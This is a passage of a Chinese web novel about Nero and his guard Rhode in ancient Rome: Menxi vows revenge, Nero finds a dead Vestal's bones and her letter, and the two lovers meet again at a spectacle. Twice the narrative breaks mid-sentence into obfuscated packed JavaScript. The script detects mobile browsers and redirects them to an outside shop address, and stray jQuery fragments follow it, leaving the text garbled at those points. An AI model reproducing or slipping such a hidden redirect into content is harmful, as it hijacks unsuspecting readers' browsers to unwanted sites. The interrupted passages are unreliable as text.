令节的命令,尤利乌斯就开始变卖在罗马的资产,以换钱在外省购置家产。
他将原有的阉奴或释放或送人,除了家务必需的奴隶,身边就只留门希一人。
尤利乌斯从外面回来。他刚刚置办好合同,把名下的郊区里的葡萄园转让出去。
一踏进家门,一股寒冷的风吹动粗硬的胡须,没有奴隶端着洗手的热水迎接他。他望着空旷的庭院,有种异样的感觉。
厅殿里传来玻璃碎裂的声音。
尤利乌斯提着袍摆,小跑到屋里,一进来就看见正在发疯的门希。
门希被两个奴隶拦腰抱着,一边嘶吼一边拼命挣脱,脸皮红得象熟透的蟹壳。屋里一片狼藉,书籍散落,窗子的彩色玻璃碎一地。
“这是怎么了?!”尤利乌斯抓住他乱摇的胳膊,大声问他。
歇斯底里的门希一口咬住他的手,尤利乌斯差点疼得喊出声。
“你疯了?!门迪!”尤利乌斯从他口中挣脱出来,看着鲜红的牙印说。
门希咬完他,象脱力一样,停止了挣扎。他双眼发红,瘫坐在散落一地的书本上。
“我的弟弟死了。”门希捂着脸,指缝间流出泪水,“是被尼禄用铁水灌死的……”
尤利乌斯愣一下,逐渐正色起来。他其实有能力将老情人的弟弟救出地牢,但并没有这么做。
他的女儿麦瑟琳娜的死与安东尼不无关系。当时,她偷走父亲的传令节,意图造反,实属自作自受。但安东尼的临时背叛无疑让她的死来得更快了些。
尤利乌斯因此憎恨安东尼,希望老情人的弟弟不得善终。
他咳嗽两声,走上前,和门希一起坐在书本上,问道:“谁告诉你的?”
“我出不去家门,让你的奴隶代替我去探监。结果奴隶回来后告诉我……”门希哽住,青绿色的大血管在通红的前额爆起,“他死得太惨了……我无法接受奥托家族的后人以这种凄惨的方式死去……”
他凶狠地说:“是尼禄杀了他……是那个狠毒的小狼崽子……”
尤利乌斯试图安慰他:“安东尼整日蜷缩在狗笼一样大的地牢里,死亡对他是一种解脱。”
“噢……闭嘴!闭嘴!”门希用拳头捶打地面。
尤利乌斯闭上嘴,搂着他的肩膀,不敢再出声了。
“我恨尼禄,虽然他是卡里古拉的外甥。”门希双眼通红,眼泪不断从颤抖的下巴滴落,“包括他的亲卫,那个长得和泰勒斯一个模板的亲卫……他就是泰勒斯的复刻,是他鬼魂的重返。这对充满绯闻的主仆,时时刻刻都在重现曾经的卡里古拉和泰勒斯,时时刻刻都在提醒我,我是感情上的失败者。现在他又以残忍的手段杀死我的兄弟……”
尤利乌斯拍着他弓起的后背安慰他,被门希不耐烦地甩开。
“我要报复……我要象泰勒斯那样报复……哪怕被钉死在十字架,我都要报复。”门希从牙缝间恶狠狠地挤出这句话。
忽然,他又神色一变,转而笑几声,表情怪异地继续说道:“我现在终于理解你的心境了,泰勒斯。一定要杀死不共戴天的仇人,哪怕代价是自我毁灭,你成功了。我无比痛恨你,讽刺的是,我一辈子都在跟随你的步伐……”
尤利乌斯心惊,慌忙问道:“你要干什么?门迪。”
门希绷着脸,认真地说:“我要报复!我要弄死尼禄!”
“噢……”尤利乌斯丝毫不觉得恐慌,反而觉得好笑,“亲爱的门迪,我们都老了,到了随时会被冥神召唤的年龄,应该忘记仇恨,享受一个安稳的晚年,这才是最聪明的做法……”
门希蔑他一眼,冷酷地说:“你变了,尤利尔。过去的你不是这样窝囊的,你不是我深爱过的那个勇猛无畏的初恋了。”
尤利乌斯愣了愣,在门希的逼视下开始怀疑自己,“真的吗?”
门希没有直接回答这个问题,而是慢慢凑近他,僵白的手象粘腻的蛇一样在他后背爬行,“你忘记了你的外孙了吗?尤利尔。”
尤利乌斯象是被戳到痛脚,猛地瞪大眼睛。
“据说昆汀活着的时候,和尼禄相处得象仇敌一样。正是昆汀暴毙,才留给了尼禄机会。”门希别有用意地看着他说,“如果你的外孙不死,今天的新皇帝,无论如何也轮不到尼禄吧。”
他瞄到尤利乌斯手里的合同,冷笑道:“你还需要从繁华的罗马搬去外省吗?还需要因为转让而和一帮投机取巧的骑士讨价还价吗?”
尤利乌斯脊背僵直地坐着,鼻孔呼出的气息将胡须吹得乱动。
门希拍拍他厚实的肩膀,“你自我堕落了这么久,该醒醒了。尤利尔。”
他的尤利尔呼吸一滞,眼珠在苍老的眼眶里乱颤。
64. 开口说话的死人
两天后,平民们终于迎来他们的新皇帝。
奴隶们围着一辆插满鲜花的马车,将金粉油漆涂在车轮上。花车将近两人高,由黑白棕三匹不同颜色的马拉动。
正午时分,新皇帝会坐上这辆露天马车,走遍罗马的所有街道。
尼禄里里外外穿了八层丝绸,从衬衣到镶着宝石的披肩,皆由紫底的条纹锁边。手背画着麦穗和油滴,双手捧着一条撒满金粉的紫色绸缎。
他捧着丝绸走上花车,街道两边是欢呼拥挤的人群,近卫军形成人墙,隔开了他们。
皇帝的花车后面还跟着一辆比较矮小的花车,上面载着的是阿格里皮娜。
阿格里皮娜一身华丽的红丝绸,丰腴健壮的腰间系着紫丝带,卷曲的银发挽成一只式样简朴的发髻。
这是罗马罕见的盛会,比牧神节的狂欢更甚。街道拥挤不堪,有不少人爬到屋顶去看。山丘上,海岸边,甚至停靠船的甲板,都站满了想瞻仰新皇帝的人。
海边,罗德坐在位置最高的船舱里,拿着两片厚厚的棱镜。他不说话,一脸认真,来回调整棱镜间的距离。
紧挨着他的是聒噪不停的韦尔巴。
“该死的!我从没见过这么多人!”韦尔巴扯着嗓子叫喊,“人们的头密集得让我看了犯恶心!”
他半个身子伸出船窗,尽力让自己距离街道更近一些,就象一只把头伸到极限的乌龟。
韦尔巴透过棱镜看向街道,嚎叫道:“老天爷!皇帝的花车还没到,街道两边的人就已经在发疯地呼喊了。他们挥舞着的胳膊,就象翻身蜈蚣的蠕动的腿!”
罗德将两片棱镜调出最合适的距离,用木棍和绳子固定住。这种简易的望远镜能让他看清街道的一切。
银灰铁甲的近卫军排成一排,象一层即将被烧破的纸,挡在热情似火的人潮前。
“怎么会有这么多人。”罗德举着望远镜说,“上次他从希腊回城的时候,没这么多。”
韦尔巴撤回身子,揉了揉瞪得酸痛的眼睛,“这不奇怪,你的主人大概是有史以来最受平民欢迎的皇帝。”
罗德放下望远镜,斜他一眼,“什么意思?”
“劫富济贫呗。”韦尔巴抠着鼻孔说,“他收了那些贪污的元老,砍掉不少商业税,要知道,之前就连嫖妓都需要缴税。他还对小商小贩特别宽容,现在除了盐和黄金归他垄断,其他的东西都放开买卖。”
罗德拂过光滑的棱镜,语气隐晦地说:“是吗……”
“他风评很好。”韦尔巴将手里的棱镜一抛一抛,“至少妓院里和我调情的妓|女,浴场门口叫卖刮板的小贩,还有头顶陶罐的妇女,都对他称赞有加。之前什么备受争议的保释金,都在一连串的减税里被遗忘了……”
甲板上的人群突然激动得跺脚,船只剧烈晃动起来,躺在床上的罗德不由地抓紧床边。
韦尔巴象被绊到脚一样平摔在地。他扶着窗框颤巍巍地站起来,嘴里骂骂咧咧:“这帮东西不仅未经允许就爬上我的船,还象跳蚤一样蹦跶个不停!”
他往窗外望一眼,惊喜地叫道:“来了!皇帝来了!”
罗德没来由地感到一阵紧张,举起望远镜看向窗外。
宛如黑水的人潮间,一辆色彩鲜艳的花车象开荒一样,艰难劈开一条铺满玫瑰的路。
那头标志性的卷曲银发一入眼,罗德就心如擂鼓。他生理反射性地放下望远镜,深吸一口气,慢慢呼出去,才重新举起。
洒满金粉的紫色绸缎在正午烈日下,散发出水波一般的碎金色。罗德能清晰地看到,尼禄指间只戴了一个金戒指,和自己手上戴的是一个式样。
时间飞速倒回,前世众叛亲离、紫袍破烂的尼禄,初识时青涩而天性残忍的尼禄,做]爱时霸道而无限索取的尼禄……此刻尽在手里的棱镜里。
此刻的罗德其实看见了无数个尼禄。
爱情面前,时间是假的。
“噢!老天爷!看到那条又金又紫的丝绸了嘛?!”韦尔巴激动得拍打窗框,“我敢保证,皇帝手里的那条丝绸能买下我们这样的十艘船!”
罗德望着花车上的尼禄,脸色怔怔的,对身边胡乱叫唤的韦尔巴充耳不闻。
花车慢慢消失在视野尽头,象一枚悠悠滑出去的彩玻璃珠。
罗德还保持着望远的姿势,直到很久后,才反应过来似的,沉默着躺回到床上。
一回头他就对上韦尔巴贱兮兮的笑脸。
“怎么样?”他怪声怪气地说,“离得这么远,看清楚主人的样子没?”
“这个世界上,没人比我更清楚他长什么样子。”罗德清冷地说,指肚来回轻抚圆润的棱镜面。
韦尔巴坏笑着,一脸的意味深长。
罗德把望远镜放回桌子,阖上长期被海水冲刷得变形的玻璃窗,拿起果盘里的一颗葡萄酒丢进口中。
“你的主人变样了。上次劫持他的时候,他还是个容易受惊的小树芽。”韦尔巴也捏起一颗葡萄,“仅仅一年多,他就象迅速开花结果一样,成长为一个仪态沉稳的大人。”
罗德回想着方才的尼禄,没有意识到自己眼睛已经失神,轻柔地说:“他变了。”
“你也变了。”韦尔巴双臂交叉在胸前,一脸认真地审视着罗德。
罗德靠着枕头,半仰着脸,从锋利的眼梢下瞥他,“我怎么变了?”
“你比过去好说话了,或者说……你变温柔了。”韦尔巴说,“之前在海盗船上,你一个人面对近百名海盗,还要保护奥古斯都的后人。那时的你,好象是烈火或者铁石做成的,一看就很凶,一点都不好欺负。”
罗德没搭理他,从根茎上拔下一颗青绿色的葡萄,叼在明红的唇间。
韦尔巴补上一句:“总之,你和你的主人都变了。”
……
巡城之后,尼禄没有让自己休息,第二天一早就去了神庙。
他再次站上为洪水而架起的木板桥,望向桥尽头的山路。
就是这座山,建着他的庄园,举办过洪水祭祀,掩埋着泰勒斯的骨灰,罗德的母亲曾在这里做贞女;山脚的洪水淹没街道,他曾为此背负巨额的修理费。
以及,罗德曾为了他从山顶跳下去。
尼禄哆嗦一下,由两名举火把的近卫拥护着,沿着山路来到位于半山腰的神庙。
自从洪水祭祀,这座没落的神庙就再没启用过了。
尼禄带着盔甲加身的近卫走过沾灰的大理石地板时,看守圣火的贞女还在打瞌睡。
皇帝突然造访,让负责神庙日常的祭司措手不及。
“噢……真没想到您继任后来的第一座神庙是这里。”祭司满脸惊吓,赔着笑脸,“所有人都以为您会去城中心的维斯塔神庙。”
尼禄看到他前额逼出的汗珠,问道:“你在这里当祭司多久了?”
“从洪水祭祀一直到现在,不到半年时间。”祭司说,“祭祀前,这座神庙一直荒废着。因为洪水而重新启用后,我就从最大的维斯塔神庙调到这里。之前在维斯塔神庙,我只是一个负责点烛的小司烛。”
尼禄开口问道:“这里有地穴吗?”
“当然。”祭司语气肯定地说,“每个神庙都有地穴,葬着那些极恶之人的骸骨。只有在神庙的圣光下,罪恶的灵魂才能得以净化。”
尼禄点一下头,“带我去。我要看看那里关押着什么样的灵魂。”
……
地穴很寒冷,挂在墙柱的烛台早就生锈。贞女们动作极快地扫出一条窄窄的小路,在锈得摇摇欲坠的烛台里放上烛火。
镶着祖母绿的绑带靴踩在窄路间,尼禄最终停在一片骨灰盒前。
骨灰盒约莫五十多个,满覆灰尘,一小格一小格排列在地上,乍一看象一颗颗竖立的头颅。
每个骨灰盒上,都贴着一块锈迹斑驳的铁片,上面刻着逝者的姓名。
“泰勒斯·法恩。”尼禄眼神晦暗,“找出这个名字。”
一名贞女在最后一排的最后一个小格找到了泰勒斯的骨灰。很明显,泰勒斯是最后一个葬进这个地穴的人。
两名近卫举着火把走过去,照亮骨灰盒边上的一处空地。
尼禄弯腰端详,火把的红光照亮锈蚀了一半的铁片,依稀有“泰勒斯·法恩”。
端起骨灰盒,无意间瞥了眼地面。他忽然皱起眉,黯淡的目光紧紧锁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239681|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在地面上。
泰勒斯的骨灰盒下面,是一片平整的水泥地,好象专门用水泥浇铸过;而其他骨灰盒下面,都是凹凸不平的灰土。
尼禄勾起指头,指关节与那一小片水泥扣出闷响。
“这片水泥很奇怪。”他说,“把它凿开,我要看下面究竟有什么。”
……
尼禄知道罗德的母亲死状会很惨,但真正面对她的遗骸时还是倒抽一口冷气。
奴隶们凿了整整一个白天,夜深时才清理出一具白骨。他们还在水泥里发现了丝质的白圣袍,以及几枚贞女专用的珍珠发饰。
黛妮是被水泥浇灌而死的。
奴隶们将剥落掉水泥的白骨摆到丝绸上,一具轮廓娇小的骷髅赫然显现在火光里。白骨在水泥里保存得相当完整,头盖骨没有一丝裂痕,乳白色的牙齿颗颗分明。
年轻的祭司站在白骨旁,惊骇得说不出话。他压根不知道这具白骨的来历。
“我……我在神庙里服役这么多年,只是听说,从没遇见过这种事……”祭司面色吓得惨白,“这是……犯下大罪的贞女才会被水泥活埋……”
尼禄脸色不善地瞪他一眼。祭司赶紧闭嘴,双膝还在不停打颤。
“如果你不想被剜去眼珠和割掉舌头,就把今天看到的烂在肚子里。”尼禄说着,用那双继承自母亲的天生阴冷的目光,缓慢扫过地穴里的所有人,“这句话,适用于你们所有人。”
所有的贞女和奴隶通通下跪,噤声一片。
尼禄面色冷静,走到白骨前,将歪向一边的头骨摆正。就在转动头骨时,乳白色的牙齿间,从嘴里伸出一只羊皮纸的尖角。
他拿来粗铁钉,撬掉一颗牙齿,捏住尖角,将白骨含在嘴里的羊皮纸抽了出来。
打开层层叠起的羊皮纸,纸张已经变得橘黄,血红的字迹歪扭,似乎被水渍泡得晕开:
『我亲爱的罗德,我的儿子:
我现在困在这地穴的深坑,用讨来的一张纸和刻笔,蘸着指尖血,写下这封信。
你随我姓法恩,这是跟你大度且视我为明珠的父亲提前商量好的。那天夜里,近卫军闯进家宅、用长剑处死你的祖父母,把院子泼满油脂,放了一把火。你的父亲为了保护我,被掉下来的石梁砸死。直到生命的最后一刻他都在叫我活下去。
我就这样趁乱逃了出来。以绝望而灰暗的心情,服从一个老朋友的建议,换了姓名,给检查身体的祭司一些好处费,混进永远不会被法院和军队搜查的神庙。
但那时的我还不知道,我的身体里已经孕育了一个生命,那就是你。
我很恐慌,拼命节食,从早到晚用束带缠绕腰间。七个月时,趁着一次独自外出采购的机会,我在一家小医馆里,喝下催产的药水提前生出了你。
我的孩子,规定采购的时间太短,那个时候筋疲力竭的我只顾着踏上回庙的路,没能好好看你一眼,这是每当想起就会鼻头发酸的遗憾!
把你交给你的舅舅后,这么多年在神明前耳濡目染,每当看守圣火、擦拭神明像时,身体不洁的我都会产生几近灭顶的愧疚感。我是个虚假的贞女。当身份终于暴露,即将迎来水泥浇灌的惩罚时,我居然感到囚鸟飞出牢笼般的解脱。
我的罗德啊,生下你之后,就再也没见过你。现在你十二岁了,我多想知道你是什么样子,穿的什么衣服,喜欢吃什么喝什么,说话是什么样的音色,注定体弱的你是否容易生病,性格会不会象你父亲那样活泼外向,走路姿势是什么样的,交了多少个朋友,会射箭拉弓和游泳吗,学过修辞和辩论的技巧吗,身上的钱够不够花,有没有喜欢的女孩子……我整天都在幻想你的模样。我只有你一个孩子,却操心得象是一百个孩子的母亲。
亲爱的儿子,明天我将随神明而去。我把十二年来服侍神明的功绩,全部祝福给你。我愿以形销骨蚀的代价,为你挡下一切厄运;愿以封闭泥潭为代价,为你延长寿命的长度。
希望你能推翻一切苦难,希望你能主掌自己的幸福。
还自私地希望你记住,我永远爱你。』
尼禄将这封从死人嘴里拿出来的信读完,身体一晃,跪坐在白骨旁边。
65. 重逢
从神庙回来后没过几天,皇帝就以施恩为名,拟了特赦罪犯的命令。
特赦令不仅免去小偷小盗类的刑罚,甚至涉及到死者,以“用生命赎了罪”的名义,安置死刑犯的尸骨。
除了这些,这次特赦重整株连和连坐的规则,释放那些因配偶、父母以外的亲人犯罪而贬入奴籍的人。
犯人被处死后,尸体大多草草焚烧,有的甚至烧到一半就装进草席,丢到郊野的乱葬岗。因此能确定身份的很少。
凡是还能确定身份的死刑犯,都被列在一张名单上。政府宣告将在圆形剧场举办一场赦免盛会,同时也是这些犯人的集体葬礼。
盛会上,凡在名单上的犯人会装入独立的棺椁,在角斗和狂欢之中,一齐由披裹着黑纱的马车拉走,葬到郊外不同的坟堡里。
而剩下那些没有姓名的尸骨,也会统一葬入一个公用的大墓穴。
在奴隶远远多于公民的罗马,这一特赦撼动整个底层。
……
平静的海上,戴头巾的水手捞上来一筐鱼虾,一艘翻新的白船驶在海面。在暖日的烘烤下,挂着黄帆的白船象一枚煎在海面上的煎蛋。
韦尔巴端一盆撒满蒜蓉的煮海虾,掀开草帘,犹如细缝的眼睛往里一瞄。
罗德背对着他,站在舷窗前,朝向蓝白水彩般的海景。长及肩胛的黑发乱飞,落回到笔直的肩膀。黑色的剪影以某种艺术的形式,嵌入蓝白的远景里。
韦尔巴忍不住多看一会,把海虾送到跟前,随着他一起望向窗外。
“你的骨头全好了?”韦尔巴斜过眼睛偷瞄他,探问道,“你站着的样子,让我想起广场廊柱上的天神的浮雕。”
罗德侧过脸,韦尔巴赶紧把目光移走。
“我们离开岸边多远了?”罗德坐到床边,拿起一只虾,掰掉虾头。
“不到两个罗里。”韦尔巴说,“不过我们今天早晨才启程。新船的船桨和风帆堪比角斗士手里的盾牌,划起船来,速度快得好象有神对着船的屁股吹气!”
罗德剥开虾壳,语气冷清地问:“那批瓷器,我们赚了多少钱?”
“差不多十万个赛斯特斯。不过我又花了三四万翻新我们的船。”韦尔巴看着他,也跟着他的动作一起剥起虾。
“要成为贵族阶层里的骑士,需要四十万赛斯特斯的财产。也就是说,我只要再来回鼓捣个四五趟,就能成为一名带金戒指的贵族。”
韦尔巴动作熟稔地剥掉虾壳,抽出虾肉递给罗德,“不过……这些都需要你的帮助。”
罗德看一眼递到手边的虾肉,没接,“这倒不一定。”
他捏着虾尾,眼睛瞄向窗外,说道:“以我对皇室的理解,他们会很快垄断丝绸和瓷器的买卖。即使尼禄不想这么做,他身边的顾问也会让他这么做。”
韦尔巴吃掉手里的虾肉,“我就说嘛……你是不可能这么快就忘记什么皇宫和主人的,一有机会就提起他……”
他晃了晃扎满小辫子的脑袋,“你的主人,最近总被平民们挂在嘴边,尤其是那些长久受屈辱的奴隶。当然,是夸奖。”
罗德递到嘴边的虾肉又放下来,“怎么了?”
“他发布了特赦令,不仅释放株连入籍的奴隶,还准许安葬犯人的尸体。”韦尔巴说,“说真的,每个新皇帝都会特赦,但都是释放一些犯了小罪的富人,没一个象他这样照顾到奴隶和死人。我手下的水手,绝大多数都是逃跑的共用奴隶,这两天他们撺掇着要回城。”
罗德冷淡一笑:“怪不得最近甲板的灯彻夜长明,原来他们商量着回去领特赦的资格。”
韦尔巴笑道:“他们可不止想领资格。特赦那天,据说要举办一场空前绝后的狂欢。”
他咂着沾了酱汁的指头,“也可以理解为,死刑犯的集体葬礼,据说有戏剧、斗兽和赛马,不过这些是看腻了的老项目,最令人期待的是新发明的海战表演。”
“海战表演?”罗德转过脸来。
“没错。剧场的舞台灌上水,注成一个人工湖,几艘船上的角斗士们假扮海盗,举着三叉戟和锁链做打斗表演。”韦尔巴说,“听上去挺有意思,你想去吗?”
“不去。”罗德果断地说。
韦尔巴摸出拴在腰间的皮袋,松开草绳系带,从中拿出一张质地平整的羊皮纸。
“这是盛会的宣传函,每天都有小官员在街角分发,上面列着确定了身份的犯人。比起只能挤在一个墓穴的无名尸,他们更加幸运。”
韦尔巴把纸展开,送到罗德眼前。
“一个不识字的水手给我这个,想让我帮他看看上面有没有他父亲的名字。他的父亲因为掩埋一个被雷电击死的人而被处死,要知道雷电可是来自木星的旨意,谁也不能偷走木星的祭品。”他无奈地挑起眉毛,“可惜……我也不识字。”
罗德接过羊皮纸,“他父亲叫什么?”
一边问,他一边飞快扫过一行行名字,圆润的指甲象流光一样划过纸张。
『泰勒斯·法恩 黛妮·法恩』
他的指甲停在这两个并列的名字下方,重睑优美的眼睛陡然睁大。
这个直指骨血的、给他带来无限苦难的姓氏,就象一支控制之外、却又悄然返航的回头箭,一下子扎回心脏。
虽然从未有人告诉他母亲是谁,但本着某种神秘的、天生血缘赋予的直觉,他几乎一瞬间就确定这是母亲的名字。
一直对父母嗤之以鼻的罗德,在真正面对母亲的名字时,竟不可控制地产生一点点归属感。人类的本性是无限的爱和美,宛如诞生无数生命的海洋,所谓怨恨,不过是因为被阳光冷落而幽生的、脆弱的水草。
“他父亲好象是叫……弗德·贺拉斯。”韦尔巴在一旁抓耳挠腮,艰难地回想着说。
罗德突然站起来,带出一股凉风,把韦尔巴吓一跳。
“我要回城。”他飞快地叠好羊皮纸,“我要去参加我母亲的葬礼。至少我得知道她葬在哪儿。”
韦尔巴愣住,还保持着抓耳挠腮的滑稽样子,连续发问道:“……什……什么?你还有母亲?她是死刑犯?”
罗德放好叠成方块的纸张,往船舱外走去,“我去叫舵手打回方向,立刻回城。”
……
特赦盛会正如政府宣传的一样,盛大得令人炫目。
圆形剧院的每一层都围着火把,俯瞰如一盘摆满蜡烛的圆盘烛台。
罗马的葬礼,人们会佩戴按死者面容仿制的面具,穿着死者生前穿过的衣服,手脚涂满白漆,尽情观赏血腥的厮杀和表演。
戴着面具的罗德和韦尔巴站在最上面一层的露天阳台,背后是一圈雕花的大理石拱门。这一层距离舞台最远,专门给奴隶和平民妇女使用。
韦尔巴被狂呼乱叫的奴隶挤得站不稳,差点从阳台跌下去。
他把海盗样式的面具挪到头顶,踹了身后的奴隶一脚:“噢!别挤了!我是公民,是罗马的公民!奴隶要是把公民弄得残废,可是会被绞刑架吊死的!”
罗德后背抵着拱门的雕花,面戴蜡制的面具,踮着脚看剧场里的情形。
舞台正在上演以喜剧结尾的戏剧。他距离地面太远,演员们的身影都看不清楚,更别提听清台词了。
圆形剧场一共分为五层。最下面前排、正对舞台的供皇室使用,还配备遮阳篷和餐桌;往上一层,就是元老和贵族,再接着是男性公民。越往上,视野越差。
韦尔巴在臭烘烘的氛围里象挥开苍蝇一般推开奴隶,拉着罗德挤到最前面。
“要不是为了你,我才不会和一帮奴隶挤在同一层上!”他死死抓住罗德的袖子,“这个距离和位置,除非他长着跟蜻蜓一样的眼睛,不然绝对发现不了你……”
他朝舞台对面的遮阳篷,揶揄道:“他大概在那里面。你们俩和之前花车巡城时是差不多的距离,都够远的……”
“给我闭嘴!”罗德憋在面具里,冲他说道。
韦尔巴又把面具拽回来,费劲地往下看着,笑了笑,用手一指,“地上摆着一大片骨灰盒,圆鼓鼓一颗颗的,就象炒熟的榛果一样。你的母亲就是其中一颗吧。”
罗德越过摇动的人墙,透过一片挥来挥去的手臂,依稀看到一排排整齐的骨灰盒。
韦尔巴用手肘碰了碰他的胳膊,“你实话告诉我,你的母亲是犯什么罪才处以死刑的?”
罗德认真地看过每一只骨灰盒,对他的提问不闻不问。
“被处以死刑的女人可不多见啊。”韦尔巴自顾自地说,“一般来讲,比起好战逞勇的男人,娇弱的女人并不擅长犯罪……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239682|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“我刚才应该把你踢下阳台,韦尔巴。”罗德透过面具说,“你聒噪得象一只拍不死的蚊子。”
舞台上,面涂油彩的演员纷纷谢幕。套着皮甲的角斗士们拎着盾牌,举高三叉戟和剑匕,从拱形的通道走到沙地,每一个都肌肉壮硕,铁头盔竖着一只红羽毛。
从低层的元老到阳台的奴隶,台上的人疯了一样大吼大叫,富人们朝沙场抛掷昂贵的丝袍和碎黄金,穷一点的平民就泼廉价的酒。
“要开始竞技了。”韦尔巴说,“我赌那个甩着锁链的角斗士会赢,他的胳膊象廊柱一样粗。”
几个服役于政府的奴隶头顶木制酒桶,手摇铃铛,一步步稳当地踩着台阶,挤进露天阳台。
按照剧场的惯例,每当竞技开始时,政府会免费发放便宜的酒水。观众们都得喝点酒,才能更加歇斯底里地助威,气氛也更热烈。
奴隶摇着铃铛,扶着脑袋上的酒桶说,“角斗士需要你们的欢呼给他们助兴。”
韦尔巴在拥挤的人流中艰难地转过身,又热又渴的他想去讨一杯酒喝。
周围的人都伏着身体,用双手捧着从木桶流出的酒,再把脸埋进双手。
“老天爷!”他被流动的人群推搡着,“居然没有这一层的人配备杯子,让我们象乞丐一样用手捧酒喝!我就说嘛,不能和不幸的人挨得太近,否则自己也会运气不佳……”
韦尔巴喋喋不休地抱怨着,一边克服艰难挤过去接酒。
罗德没打算喝酒,昂着头,继续看骨灰盒,被顶着酒桶的奴隶从背后拍一下。
“每个人都要喝一点。”奴隶礼貌地说,“今天所有到场的人都不能例外。”
罗德瞥见他极度认真的双眼,抬高双手去接酒。
宽大的袖口往后收,露出一双暗色中仍能骨节分明的手,以及无名指上的金戒指。他象征性接一点,稍稍挪开蜡制面具,只露出形状锋利的嘴唇,手里的酒一饮而尽。
“行了吧。”他重新戴好面具,全是酒水的手在衣服上随意一抹,语气很不耐烦。
奴隶呆呆看着他指间的戒指,反应一会,才开口道:“感谢您的理解,大人。”
他抬起双手,反抱头顶的木酒桶,拿下来揽在怀里,微笑着正色道:“您的金戒指告诉我,这一层不是您应该站的地方。”
说完这句话,他被涌动的人潮冲撞着,很快消失了。
剧场的通道全部打开,引水灌入,慢慢形成一片人工湖,倒映出另一个一模一样的剧场。
四周忽然人头攒动,来来回回的人流撞动肩膀。
罗德透过憋闷的蜡制面具,望向已经开始厮杀的舞台,心不在焉,回想刚才顶酒奴隶的怪异笑容。
沙地上高架的火盆,一桶燃油泼进去,明黄的火焰猛然膨胀,象一只张开的血盆大口。
“不对……”罗德语速极快,“我中计了。”
周围人群飞速走动,好象一锅剧烈搅动的水。
他轻轻嗅一下捧过酒的手,思索一会,突然意识到什么。
“这不是廉价的果酒,韦尔巴。”他后知后觉,脊背象弓弦一样绷紧,目光间透射一股寒意,“这是皇室才能喝的加过迷迭香和薄荷的葡萄酒。”
四周突然空旷下来,没有人应他。
“韦尔……”罗德下意识转过身。
一入眼便是一双镶嵌宝石的绑带靴。
罗德如被锁喉,呼吸几近停滞。因为惊骇,漆黑的瞳仁猛然扩大,快速地吞噬深棕色的虹膜。
红底紫条纹的丝袍、沾有金粉的绣纹、在焰火下反着光的虎皮披肩。罗德的视线僵硬上移,最终隔着一道闷热的蜡制面具,与暌违过两次生死的尼禄对视。
“我的……”尼禄双唇战栗,说不出下半句话,卷曲的银发在月光和火光的双重照射下犹如半透明的丝线。
皇帝身后,是一排站姿笔直的、灰黑色盔甲的近卫军,韦尔巴和不明所以的观众一起被这排军人隔开。他粗而短的脖间还架着两把刀匕,不敢出声,又惊又惧。
罗德感受到困在面具里急促和炽热的呼吸。
尼禄双唇微张,再颤抖着抿紧,接着再次张开和紧闭。这样开开闭闭好多次,他才象终于悟透某个哲理一样,恍然大悟地说出两个字:“……罗德。”
66. 特洛伊木马计
在说出罗德这两个字时,舌尖从上齿龈弹落到前齿,随着音节的吐出,一股无形的热流从深喉处涌到唇齿,再从唇齿慢慢回溯到心脏。
他们两人僵持着。
剧场的人不知道露天阳台的动静,还在朝空气挥拳、为角斗士呐喊。几艘巨型帆船从通道驶进人工湖,海战表演即将开始。
船只拖着过于巨大的船身慢慢挪动,犹如一个个行动不便的、怀着怪胎的孕妇。火盆一个接一个燃起明火,象一张张嗷嗷待哺的嘴,直朝夜空。
阳台上的近卫军,一个个从头盔里斜着眼睛,偷瞄传说中的长官。
这个戴着面具、身材修长的长发男人,不清白的身世,曾经席卷罗马的舆论,是戏剧里女妖或复仇者的灵感来源。
今天晚上,皇帝调出所有近卫军,又在剧场里安排多得数不清的眼线,就是为了找到这个人。
罗德拿掉遮脸的面具,月光下的五官显得冷艳。尼禄每当看到这张脸,都会回到初遇的那天晚上,然后再重新爱上他。
他再次喟叹他的名字:“罗德……”
“放开那个粗短脖,是他在水边救了我。”罗德平稳地说,“这里太吵,我们去外面。”
说着,他踩着轻薄的粗麻布鞋,径自朝楼梯走去。近卫军们木然站着,挡住了出口。
皇帝厉声训斥道:“你们的眼睛呢?这是你们的长官,还不快给他让路?!”
近卫军挪着沉重的铁底军靴,裂开一个小口。
罗德冷冷扫过这排本该由自己管辖的灰黑盔甲,钻过那个小口,沿着螺旋形的楼梯往下走。
他们来到安静的街巷,剧场里轰隆隆的响声和厮杀声抛在背后。
罗德不声不响,慢腾腾地走在前面。尼禄在后面跟着他。穿在礼仪场合的托加袍长得拖地,他无暇去管。
忽然罗德加快脚步,越走越快,到最后竟奔跑起来,月色下扬起一路银灰的尘土。
尼禄惊惶,扯掉笨重的虎皮披肩,跑着赶上去。
镶嵌宝石的铁底靴很重,哒哒敲打青黄色的石板。尼禄勉强追上他好几次,每次都去牵他的手,被罗德一把甩开。
铁靴底撞到凸出来的石板,尼禄绊倒在地,膝盖和下巴磕到地上。
他的眼睑逐渐饱胀,鼻梁上的一片雀斑迅速掩盖于涨红的脸皮。
“别再跑了,罗德……”他带着哭腔说。
罗德停下来,胳膊撑在膝盖上,短促地喘着气,汗水一滴滴洇湿石板。
尼禄抬起泪糊的双眼,冲他的背影说道:“我知道你爱我……”
